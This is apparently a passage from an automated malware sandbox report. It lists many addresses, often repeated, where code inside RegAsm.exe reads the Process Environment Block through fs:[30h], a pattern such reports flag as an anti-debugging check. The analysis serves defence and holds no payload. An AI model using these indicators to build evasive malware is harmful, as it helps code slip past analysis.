Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B451EF mov eax, dword ptr fs:[00000030h]	5_2_02B451EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B451EF mov eax, dword ptr fs:[00000030h]	5_2_02B451EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B451EF mov eax, dword ptr fs:[00000030h]	5_2_02B451EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B451EF mov eax, dword ptr fs:[00000030h]	5_2_02B451EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B451EF mov eax, dword ptr fs:[00000030h]	5_2_02B451EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B451EF mov eax, dword ptr fs:[00000030h]	5_2_02B451EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B451EF mov eax, dword ptr fs:[00000030h]	5_2_02B451EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B451EF mov eax, dword ptr fs:[00000030h]	5_2_02B451EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B451EF mov eax, dword ptr fs:[00000030h]	5_2_02B451EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B451EF mov eax, dword ptr fs:[00000030h]	5_2_02B451EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B451EF mov eax, dword ptr fs:[00000030h]	5_2_02B451EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B251ED mov eax, dword ptr fs:[00000030h]	5_2_02B251ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5D1D0 mov eax, dword ptr fs:[00000030h]	5_2_02B5D1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5D1D0 mov ecx, dword ptr fs:[00000030h]	5_2_02B5D1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9E1D0 mov eax, dword ptr fs:[00000030h]	5_2_02B9E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9E1D0 mov eax, dword ptr fs:[00000030h]	5_2_02B9E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9E1D0 mov ecx, dword ptr fs:[00000030h]	5_2_02B9E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9E1D0 mov eax, dword ptr fs:[00000030h]	5_2_02B9E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9E1D0 mov eax, dword ptr fs:[00000030h]	5_2_02B9E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF51CB mov eax, dword ptr fs:[00000030h]	5_2_02BF51CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE61C3 mov eax, dword ptr fs:[00000030h]	5_2_02BE61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE61C3 mov eax, dword ptr fs:[00000030h]	5_2_02BE61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B21131 mov eax, dword ptr fs:[00000030h]	5_2_02B21131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B21131 mov eax, dword ptr fs:[00000030h]	5_2_02B21131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1B136 mov eax, dword ptr fs:[00000030h]	5_2_02B1B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1B136 mov eax, dword ptr fs:[00000030h]	5_2_02B1B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1B136 mov eax, dword ptr fs:[00000030h]	5_2_02B1B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1B136 mov eax, dword ptr fs:[00000030h]	5_2_02B1B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B50124 mov eax, dword ptr fs:[00000030h]	5_2_02B50124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BCA118 mov ecx, dword ptr fs:[00000030h]	5_2_02BCA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BCA118 mov eax, dword ptr fs:[00000030h]	5_2_02BCA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BCA118 mov eax, dword ptr fs:[00000030h]	5_2_02BCA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BCA118 mov eax, dword ptr fs:[00000030h]	5_2_02BCA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE0115 mov eax, dword ptr fs:[00000030h]	5_2_02BE0115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB9179 mov eax, dword ptr fs:[00000030h]	5_2_02BB9179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172 mov eax, dword ptr fs:[00000030h]	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B27152 mov eax, dword ptr fs:[00000030h]	5_2_02B27152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB8158 mov eax, dword ptr fs:[00000030h]	5_2_02BB8158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B26154 mov eax, dword ptr fs:[00000030h]	5_2_02B26154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B26154 mov eax, dword ptr fs:[00000030h]	5_2_02B26154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1C156 mov eax, dword ptr fs:[00000030h]	5_2_02B1C156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF5152 mov eax, dword ptr fs:[00000030h]	5_2_02BF5152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B19148 mov eax, dword ptr fs:[00000030h]	5_2_02B19148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B19148 mov eax, dword ptr fs:[00000030h]	5_2_02B19148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B19148 mov eax, dword ptr fs:[00000030h]	5_2_02B19148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B19148 mov eax, dword ptr fs:[00000030h]	5_2_02B19148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB4144 mov eax, dword ptr fs:[00000030h]	5_2_02BB4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB4144 mov eax, dword ptr fs:[00000030h]	5_2_02BB4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB4144 mov ecx, dword ptr fs:[00000030h]	5_2_02BB4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB4144 mov eax, dword ptr fs:[00000030h]	5_2_02BB4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB4144 mov eax, dword ptr fs:[00000030h]	5_2_02BB4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B176B2 mov eax, dword ptr fs:[00000030h]	5_2_02B176B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B176B2 mov eax, dword ptr fs:[00000030h]	5_2_02B176B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B176B2 mov eax, dword ptr fs:[00000030h]	5_2_02B176B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B566B0 mov eax, dword ptr fs:[00000030h]	5_2_02B566B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5C6A6 mov eax, dword ptr fs:[00000030h]	5_2_02B5C6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1D6AA mov eax, dword ptr fs:[00000030h]	5_2_02B1D6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1D6AA mov eax, dword ptr fs:[00000030h]	5_2_02B1D6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B24690 mov eax, dword ptr fs:[00000030h]	5_2_02B24690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B24690 mov eax, dword ptr fs:[00000030h]	5_2_02B24690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA368C mov eax, dword ptr fs:[00000030h]	5_2_02BA368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA368C mov eax, dword ptr fs:[00000030h]	5_2_02BA368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA368C mov eax, dword ptr fs:[00000030h]	5_2_02BA368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA368C mov eax, dword ptr fs:[00000030h]	5_2_02BA368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9E6F2 mov eax, dword ptr fs:[00000030h]	5_2_02B9E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9E6F2 mov eax, dword ptr fs:[00000030h]	5_2_02B9E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9E6F2 mov eax, dword ptr fs:[00000030h]	5_2_02B9E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9E6F2 mov eax, dword ptr fs:[00000030h]	5_2_02B9E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA06F1 mov eax, dword ptr fs:[00000030h]	5_2_02BA06F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA06F1 mov eax, dword ptr fs:[00000030h]	5_2_02BA06F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDD6F0 mov eax, dword ptr fs:[00000030h]	5_2_02BDD6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4D6E0 mov eax, dword ptr fs:[00000030h]	5_2_02B4D6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4D6E0 mov eax, dword ptr fs:[00000030h]	5_2_02B4D6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB36EE mov eax, dword ptr fs:[00000030h]	5_2_02BB36EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB36EE mov eax, dword ptr fs:[00000030h]	5_2_02BB36EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB36EE mov eax, dword ptr fs:[00000030h]	5_2_02BB36EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB36EE mov eax, dword ptr fs:[00000030h]	5_2_02BB36EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB36EE mov eax, dword ptr fs:[00000030h]	5_2_02BB36EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB36EE mov eax, dword ptr fs:[00000030h]	5_2_02BB36EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2B6C0 mov eax, dword ptr fs:[00000030h]	5_2_02B2B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2B6C0 mov eax, dword ptr fs:[00000030h]	5_2_02B2B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2B6C0 mov eax, dword ptr fs:[00000030h]	5_2_02B2B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2B6C0 mov eax, dword ptr fs:[00000030h]	5_2_02B2B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2B6C0 mov eax, dword ptr fs:[00000030h]	5_2_02B2B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2B6C0 mov eax, dword ptr fs:[00000030h]	5_2_02B2B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5A6C7 mov ebx, dword ptr fs:[00000030h]	5_2_02B5A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5A6C7 mov eax, dword ptr fs:[00000030h]	5_2_02B5A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE16CC mov eax, dword ptr fs:[00000030h]	5_2_02BE16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE16CC mov eax, dword ptr fs:[00000030h]	5_2_02BE16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE16CC mov eax, dword ptr fs:[00000030h]	5_2_02BE16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE16CC mov eax, dword ptr fs:[00000030h]	5_2_02BE16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDF6C7 mov eax, dword ptr fs:[00000030h]	5_2_02BDF6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B516CF mov eax, dword ptr fs:[00000030h]	5_2_02B516CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF5636 mov eax, dword ptr fs:[00000030h]	5_2_02BF5636
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3E627 mov eax, dword ptr fs:[00000030h]	5_2_02B3E627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B56620 mov eax, dword ptr fs:[00000030h]	5_2_02B56620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B58620 mov eax, dword ptr fs:[00000030h]	5_2_02B58620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F626 mov eax, dword ptr fs:[00000030h]	5_2_02B1F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F626 mov eax, dword ptr fs:[00000030h]	5_2_02B1F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F626 mov eax, dword ptr fs:[00000030h]	5_2_02B1F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F626 mov eax, dword ptr fs:[00000030h]	5_2_02B1F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F626 mov eax, dword ptr fs:[00000030h]	5_2_02B1F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F626 mov eax, dword ptr fs:[00000030h]	5_2_02B1F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F626 mov eax, dword ptr fs:[00000030h]	5_2_02B1F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F626 mov eax, dword ptr fs:[00000030h]	5_2_02B1F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F626 mov eax, dword ptr fs:[00000030h]	5_2_02B1F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2262C mov eax, dword ptr fs:[00000030h]	5_2_02B2262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B23616 mov eax, dword ptr fs:[00000030h]	5_2_02B23616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B23616 mov eax, dword ptr fs:[00000030h]	5_2_02B23616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62619 mov eax, dword ptr fs:[00000030h]	5_2_02B62619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9E609 mov eax, dword ptr fs:[00000030h]	5_2_02B9E609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B51607 mov eax, dword ptr fs:[00000030h]	5_2_02B51607
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5F603 mov eax, dword ptr fs:[00000030h]	5_2_02B5F603
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3260B mov eax, dword ptr fs:[00000030h]	5_2_02B3260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3260B mov eax, dword ptr fs:[00000030h]	5_2_02B3260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3260B mov eax, dword ptr fs:[00000030h]	5_2_02B3260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3260B mov eax, dword ptr fs:[00000030h]	5_2_02B3260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3260B mov eax, dword ptr fs:[00000030h]	5_2_02B3260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3260B mov eax, dword ptr fs:[00000030h]	5_2_02B3260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3260B mov eax, dword ptr fs:[00000030h]	5_2_02B3260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B52674 mov eax, dword ptr fs:[00000030h]	5_2_02B52674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE866E mov eax, dword ptr fs:[00000030h]	5_2_02BE866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE866E mov eax, dword ptr fs:[00000030h]	5_2_02BE866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5A660 mov eax, dword ptr fs:[00000030h]	5_2_02B5A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5A660 mov eax, dword ptr fs:[00000030h]	5_2_02B5A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B59660 mov eax, dword ptr fs:[00000030h]	5_2_02B59660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B59660 mov eax, dword ptr fs:[00000030h]	5_2_02B59660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3C640 mov eax, dword ptr fs:[00000030h]	5_2_02B3C640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4D7B0 mov eax, dword ptr fs:[00000030h]	5_2_02B4D7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF37B6 mov eax, dword ptr fs:[00000030h]	5_2_02BF37B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F7BA mov eax, dword ptr fs:[00000030h]	5_2_02B1F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F7BA mov eax, dword ptr fs:[00000030h]	5_2_02B1F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F7BA mov eax, dword ptr fs:[00000030h]	5_2_02B1F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F7BA mov eax, dword ptr fs:[00000030h]	5_2_02B1F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F7BA mov eax, dword ptr fs:[00000030h]	5_2_02B1F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F7BA mov eax, dword ptr fs:[00000030h]	5_2_02B1F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F7BA mov eax, dword ptr fs:[00000030h]	5_2_02B1F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F7BA mov eax, dword ptr fs:[00000030h]	5_2_02B1F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F7BA mov eax, dword ptr fs:[00000030h]	5_2_02B1F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA97A9 mov eax, dword ptr fs:[00000030h]	5_2_02BA97A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BAF7AF mov eax, dword ptr fs:[00000030h]	5_2_02BAF7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BAF7AF mov eax, dword ptr fs:[00000030h]	5_2_02BAF7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BAF7AF mov eax, dword ptr fs:[00000030h]	5_2_02BAF7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BAF7AF mov eax, dword ptr fs:[00000030h]	5_2_02BAF7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BAF7AF mov eax, dword ptr fs:[00000030h]	5_2_02BAF7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B207AF mov eax, dword ptr fs:[00000030h]	5_2_02B207AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDF78A mov eax, dword ptr fs:[00000030h]	5_2_02BDF78A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B247FB mov eax, dword ptr fs:[00000030h]	5_2_02B247FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B247FB mov eax, dword ptr fs:[00000030h]	5_2_02B247FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2D7E0 mov ecx, dword ptr fs:[00000030h]	5_2_02B2D7E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B427ED mov eax, dword ptr fs:[00000030h]	5_2_02B427ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B427ED mov eax, dword ptr fs:[00000030h]	5_2_02B427ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B427ED mov eax, dword ptr fs:[00000030h]	5_2_02B427ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2C7C0 mov eax, dword ptr fs:[00000030h]	5_2_02B2C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B257C0 mov eax, dword ptr fs:[00000030h]	5_2_02B257C0
